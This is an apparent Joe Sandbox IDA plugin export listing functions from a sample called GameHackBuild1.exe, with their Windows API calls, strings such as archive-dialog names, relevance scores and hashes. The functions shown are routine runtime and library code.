Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 836b21c7420733275bf0410640b3f29062ecaa7dc28681464b4a652849d4c847
Instruction ID: 7e13ab8d23934d609d427bad727152682367eef80d5c2f85f3556ff798479f7e
Opcode Fuzzy Hash: 836b21c7420733275bf0410640b3f29062ecaa7dc28681464b4a652849d4c847
Instruction Fuzzy Hash: 7A01B5322C47107ED511CBA4AD09FE77BACAB5A752F140411F345A60E0C6A29D5687A6

Function 00A275C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00A27573,?,?,00A27513,?,00A3BAD8,0000000C,00A2766A,?,00000002), ref: 00A275E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A275F5
FreeLibrary.KERNEL32(00000000,?,?,?,00A27573,?,?,00A27513,?,00A3BAD8,0000000C,00A2766A,?,00000002,00000000), ref: 00A27618

Strings

CorExitProcess, xrefs: 00A275ED
mscoree.dll, xrefs: 00A275DB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7b8d44b894579eae8d762c9d6c443bf7f90f5b4a0f5ab3e6bc181abd2f67ab37
Instruction ID: c99bd9697fba82b6cc0c5313d34a3e6ea463966a45f877e28d8255639400e74e
Opcode Fuzzy Hash: 7b8d44b894579eae8d762c9d6c443bf7f90f5b4a0f5ab3e6bc181abd2f67ab37
Instruction Fuzzy Hash: 80F04F31A18618BBDF15DBE8DC09BEEBFB9EF04711F004169F805A6150DB708A81CA94

Function 00A0EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A10085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A100A0
Part of subcall function 00A10085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A0EB86,Crypt32.dll,00000000,00A0EC0A,?,?,00A0EBEC,?,?,?), ref: 00A100C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00A0EB92
GetProcAddress.KERNEL32(00A481C0,CryptUnprotectMemory), ref: 00A0EBA2

Strings

CryptProtectMemory, xrefs: 00A0EB8C
CryptUnprotectMemory, xrefs: 00A0EB98
Crypt32.dll, xrefs: 00A0EB7C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: c1880c754447c46fd6ff5d7197608cbda139cc6a87e851873855d2260be3c5f8
Instruction ID: 9fee640c33cdce12159a617c24ec82f12264ffc56917aa17cc1fddfec3ceaab5
Opcode Fuzzy Hash: c1880c754447c46fd6ff5d7197608cbda139cc6a87e851873855d2260be3c5f8
Instruction Fuzzy Hash: 08E04672908751EECF20DF78AC18B42BAE46B1A701F04CC5EF4D6E3A80DAF5D5808B60

Function 00A27DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A27E4B
_free.LIBCMT ref: 00A27E6B

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8021f4f466445d57524970784afbd3e299d00299deb5facfc855b5ccde938890
Instruction ID: f236d9abddeca2466237514d67dc75834fb1b99bee7acbf58cd3e2cd46b55421
Opcode Fuzzy Hash: 8021f4f466445d57524970784afbd3e299d00299deb5facfc855b5ccde938890
Instruction Fuzzy Hash: 3341C332A003149FCB10DF7CD981A5EB7B6EF85714B1645A8E915EB281DB31EE01CB80

Function 00A2B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A2B619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A2B63C

Part of subcall function 00A28518: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A23A26,?,0000015D,?,?,?,?,00A24F02,000000FF,00000000,?,?), ref: 00A2854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00A2B662
_free.LIBCMT ref: 00A2B675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A2B684

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: b650351f7bef9b2a5f625702f8dc46dff2b2e4f2ef9f2a18ce1d7e3d4a8d7df9
Instruction ID: ca254aaff9d006d137678aba46e152a5cc4a34ebdb00b435484a21668cc2c7b6
Opcode Fuzzy Hash: b650351f7bef9b2a5f625702f8dc46dff2b2e4f2ef9f2a18ce1d7e3d4a8d7df9
Instruction Fuzzy Hash: 3F01B172A12221BF272157BE7C88C7B6B6EDAC6BA13140238B904C2110DF75CD02A1B0

Function 00A29029 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00A2895F,00A285FB,?,00A28FD3,00000001,00000364,?,00A2388F,?,?,00A40F50), ref: 00A2902E
_free.LIBCMT ref: 00A29063
_free.LIBCMT ref: 00A2908A
SetLastError.KERNEL32(00000000,?,00A40F50), ref: 00A29097
SetLastError.KERNEL32(00000000,?,00A40F50), ref: 00A290A0

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2796c8691780d805ac07c91dedc57de8d9f7a98800187e1a3340d9f7bf96c0e1
Instruction ID: 3e49efab8a29cff392eb9035400746899b2c6705038d0b70f6941df21c908014
Opcode Fuzzy Hash: 2796c8691780d805ac07c91dedc57de8d9f7a98800187e1a3340d9f7bf96c0e1
Instruction Fuzzy Hash: 5601787210EB342B9332A3BC7E8592B262D9BC1F71B200038F506D2292EF38CC021060

Function 00A1075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00A10A41: ResetEvent.KERNEL32(?), ref: 00A10A53
Part of subcall function 00A10A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00A10A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00A1078F
CloseHandle.KERNEL32(?,?), ref: 00A107A9
DeleteCriticalSection.KERNEL32(?), ref: 00A107C2
CloseHandle.KERNEL32(?), ref: 00A107CE
CloseHandle.KERNEL32(?), ref: 00A107DA

Part of subcall function 00A1084E: WaitForSingleObject.KERNEL32(?,000000FF,00A1096D,?,?,00A109EF,?,?,?,?,?,00A109D9), ref: 00A10854
Part of subcall function 00A1084E: GetLastError.KERNEL32(?,?,00A109EF,?,?,?,?,?,00A109D9), ref: 00A10860

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: ab9ca01c23941eb7cde63fde085a5e4a83b0278d63ca2c78346bc373a99895d7
Instruction ID: 99355d5792e252be3104139abfa2a3e015d3ae031727a0a2002380a9d8fecf54
Opcode Fuzzy Hash: ab9ca01c23941eb7cde63fde085a5e4a83b0278d63ca2c78346bc373a99895d7
Instruction Fuzzy Hash: 10019272544B04EBCB22DB65DD84FC6BBE9FB49711F000519F15A821A0CBB56A85CB90

Function 00A2BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A2BF28

Part of subcall function 00A284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?), ref: 00A284F4
Part of subcall function 00A284DE: GetLastError.KERNEL32(?,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?,?), ref: 00A28506

_free.LIBCMT ref: 00A2BF3A
_free.LIBCMT ref: 00A2BF4C
_free.LIBCMT ref: 00A2BF5E
_free.LIBCMT ref: 00A2BF70

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b090a8909747f3aa616bddc4acf38b7336b7330bf595225a51d37b11e0bf249b
Instruction ID: 8b9cd57a0181cefb170ac7853303d56dfc6f7459f2638b98799b583ae9aa2b5b
Opcode Fuzzy Hash: b090a8909747f3aa616bddc4acf38b7336b7330bf595225a51d37b11e0bf249b
Instruction Fuzzy Hash: 73F01D32519225AB8620EBACFF86C1A73E9BA007507648869F448D7D94CB34FC818A64

Function 00A28060 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A2807E

Part of subcall function 00A284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?), ref: 00A284F4
Part of subcall function 00A284DE: GetLastError.KERNEL32(?,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?,?), ref: 00A28506

_free.LIBCMT ref: 00A28090
_free.LIBCMT ref: 00A280A3
_free.LIBCMT ref: 00A280B4
_free.LIBCMT ref: 00A280C5

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c94cd1f2edb1d5dabb5586b538214f149667919a30b255e71520bdc788fa6da8
Instruction ID: 570a1a738e00d6798d481f44c057efad0e0b2ecaa4e49316dfb9aa46e4c0f4f6
Opcode Fuzzy Hash: c94cd1f2edb1d5dabb5586b538214f149667919a30b255e71520bdc788fa6da8
Instruction Fuzzy Hash: 1CF017788021258B8751FFA9FD124453EB5F71472030C4A6AF40196AB4CF794857AFC1

Function 00A276BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe,00000104), ref: 00A276FD
_free.LIBCMT ref: 00A277C8
_free.LIBCMT ref: 00A277D2

Strings

C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe, xrefs: 00A276F4, 00A276FB, 00A2772A, 00A27762

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
API String ID: 2506810119-2682362612
Opcode ID: 74f46e143a3e5a7ad7e75b0c28f6e14f81515f11e790a4765feab1c832297924
Instruction ID: 7e46cc17769923505871de2955bf336079fda331a755c9cdcbca6eec4cbeb626
Opcode Fuzzy Hash: 74f46e143a3e5a7ad7e75b0c28f6e14f81515f11e790a4765feab1c832297924
Instruction Fuzzy Hash: 3C318075A09228AFDB21DF9DED81D9EBBFCEB85310B1440B6F80497211D6B08F41CB90

Function 00A07574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A07579

Part of subcall function 00A03B3D: __EH_prolog.LIBCMT ref: 00A03B42

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 00A07640

Part of subcall function 00A07BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00A07C04
Part of subcall function 00A07BF5: GetLastError.KERNEL32 ref: 00A07C4A
Part of subcall function 00A07BF5: CloseHandle.KERNEL32(?), ref: 00A07C59

Strings

SeRestorePrivilege, xrefs: 00A075D3
SeSecurityPrivilege, xrefs: 00A075BE

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 350cdc474e98ac1e2b86d0ee151d2f2f2cd1dac5b3701ae7e1e159a553aef124
Instruction ID: bcce12181418df4bbc15599914e4e05fa449dc2b2f7685eaccd9b4e06baf8479
Opcode Fuzzy Hash: 350cdc474e98ac1e2b86d0ee151d2f2f2cd1dac5b3701ae7e1e159a553aef124
Instruction Fuzzy Hash: 6231C171D0824CAEDF20EBA4ED42FEE7B79AF55314F004055F446A71C2DBB16A45CB61

Function 00A1A430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

EndDialog.USER32(?,00000001), ref: 00A1A4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00A1A4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00A1A4E2

Strings

ASKNEXTVOL, xrefs: 00A1A448

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 90b6aee3fafbf9db1f7b9b28f71eb996966ce47d13c5c793c9192b8e6d27662e
Instruction ID: c26d13f12901658b447d81891dd4a11e90786770608b8ed5ee676bc6165319c4
Opcode Fuzzy Hash: 90b6aee3fafbf9db1f7b9b28f71eb996966ce47d13c5c793c9192b8e6d27662e
Instruction Fuzzy Hash: DF11B672245210BFD721DFE8EE4DFA67779EB6A740F140104F2819B0A0C7E69986D727

Function 00A0D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00A0D22E
_strncpy.LIBCMT ref: 00A0D278

Strings

$%s, xrefs: 00A0D223
@%s, xrefs: 00A0D218

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 4ef4b3d6e303f6cbdc186152572c21661a7dac8dcd58864ca1660fe3c6695e56
Instruction ID: b215db8c99f8790b702977b2b1a7b73775718c75fc184d2a7ec2d7310d4f8e8e
Opcode Fuzzy Hash: 4ef4b3d6e303f6cbdc186152572c21661a7dac8dcd58864ca1660fe3c6695e56
Instruction Fuzzy Hash: F4214D7344020CAAEF20DFE4ED46FEA7BA8AF18300F044522FA15961D2E771DA599B51

Function 00A1A990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

EndDialog.USER32(?,00000001), ref: 00A1A9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00A1A9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00A1AA24

Strings

GETPASSWORD1, xrefs: 00A1A9A9

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: d6c9eb35164ffd3f2873bc844b4bee5537cc164f53fb9c4c428668d652599fc4
Instruction ID: 27c696d07fbaf6cd3eb1ca096157d4a070a87e453a649a3a81964c363ce17db2
Opcode Fuzzy Hash: d6c9eb35164ffd3f2873bc844b4bee5537cc164f53fb9c4c428668d652599fc4
Instruction Fuzzy Hash: 2C1108329411187ADB219B649E09FFA7B7CEF59741F010411FA45B20D0C2A19DD5D7A2

Function 00A0B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A0B51E

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

_wcschr.LIBVCRUNTIME ref: 00A0B53C
_wcschr.LIBVCRUNTIME ref: 00A0B54C

Strings

%c:\, xrefs: 00A0B514

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: ca9b3fddb482971018a654a69bfcb278f422e2482329266506057ab351ba3df6
Instruction ID: c47d4204a6bacb4dd6b5965b738ceff805cdabd6e306989a06d56291ab813149
Opcode Fuzzy Hash: ca9b3fddb482971018a654a69bfcb278f422e2482329266506057ab351ba3df6
Instruction Fuzzy Hash: 360121639143157ACB205B79BE83C2BB7ACEE953607504456F946C70C1FB34E550C2B1

Function 00A106BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00A0ABC5,00000008,?,00000000,?,00A0CB88,?,00000000), ref: 00A106F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00A0ABC5,00000008,?,00000000,?,00A0CB88,?,00000000), ref: 00A106FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00A0ABC5,00000008,?,00000000,?,00A0CB88,?,00000000), ref: 00A1070D

Strings

Thread pool initialization failed., xrefs: 00A10725

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

